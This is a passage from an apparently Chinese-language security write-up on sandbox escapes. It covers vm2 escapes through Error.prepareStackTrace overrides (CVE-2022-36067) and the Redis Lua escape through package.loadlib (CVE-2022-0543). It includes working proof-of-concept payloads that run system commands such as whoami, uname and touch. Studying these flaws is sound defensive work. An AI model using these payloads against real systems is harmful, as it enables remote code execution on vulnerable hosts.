}catch(f){
Symbol = {};
f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

覆盖prepareStackTrace

version<3.9.10

1
2
3
4
5
6
7
8
9
10
const { set } = WeakMap.prototype;
WeakMap.prototype.set = function(v) {
return set.call(this, v, v);
};
Error.prepareStackTrace =
Error.prepareStackTrace =
(_, c) => c.map(c => c.getThis()).find(a => a);
const { stack } = new Error();
Error.prepareStackTrace = undefined;
stack.process

CVE-2022-36067

vsrsion<3.9.11

3.9.10中并没有对Error做相关的限制,导致我们可以重新定义一个Error来绕过对LocalError的prepareStackTrace的操作,就是我们通过实例化Error对象就可以获得栈的情况,其中prepareStackTrace函数定义了如何对异常的栈的处理,我们这边进行重写,因为栈中不仅包含了沙箱的栈还包含了其他作用域下的栈,那么思路就出来了,我们只需要通过遍历栈中的对象,拿到全局作用域下的process即可进行逃逸

1
2
3
4
5
6
globalThis.OldError=globalThis.Error;
globalThis.Error={}
globalThis.Error.prepareStackTrace=(errStr,traces)=>{
traces[0].getThis().process.mainModule.require('child_process').execSync('calc')
}
const {stack}=new globalThis.OldError

4.redis逃逸

前言

Redis是一种非常广泛使用的缓存服务,但它也被用作消息代理。客户端通过套接字与 Redis 服务器通信,发送命令,服务器更改其状态(即其内存结构)以响应此类命令。Redis 嵌入了 Lua 编程语言作为其脚本引擎,可通过eval命令使用。Lua 引擎应该是沙盒化的,即客户端可以与 Lua 中的 Redis API 交互,但不能在运行 Redis 的机器上执行任意代码。

漏洞原因

Lua 由 Redis 动态加载,且在 Lua 解释器本身初始化时,modulerequire以及package的Lua 变量存在于上游Lua 的全局环境中,而不是不存在于 Redis 的 Lua 上,并且前两个全局变量在上个版本中被清除修复了,而package并没有清楚,所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void luaLoadLibraries(lua_State *lua) {                                                                 
luaLoadLib(lua, "", luaopen_base);
luaLoadLib(lua, LUA_TABLIBNAME, luaopen_table);
luaLoadLib(lua, LUA_STRLIBNAME, luaopen_string);
luaLoadLib(lua, LUA_MATHLIBNAME, luaopen_math);
luaLoadLib(lua, LUA_DBLIBNAME, luaopen_debug);
luaLoadLib(lua, "cjson", luaopen_cjson);
luaLoadLib(lua, "struct", luaopen_struct);
luaLoadLib(lua, "cmsgpack", luaopen_cmsgpack);
luaLoadLib(lua, "bit", luaopen_bit);
#if 0 /* Stuff that we don't load currently, for sandboxing concerns. */
luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);
luaLoadLib(lua, LUA_OSLIBNAME, luaopen_os);
#endif
debian/lua_libs_debian.c:
echo "// Automatically generated; do not edit." >$@
echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
echo " serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
done
echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

最后没有设置pakeage为null

CVE-2022-0543 poc

攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

存在在以下版本

  • 2.2 <= redis < 5.0.13

  • 2.2 <= redis < 6.0.15

  • 2.2 <= redis < 6.2.5

    poc

    1
    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0
    1
    eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0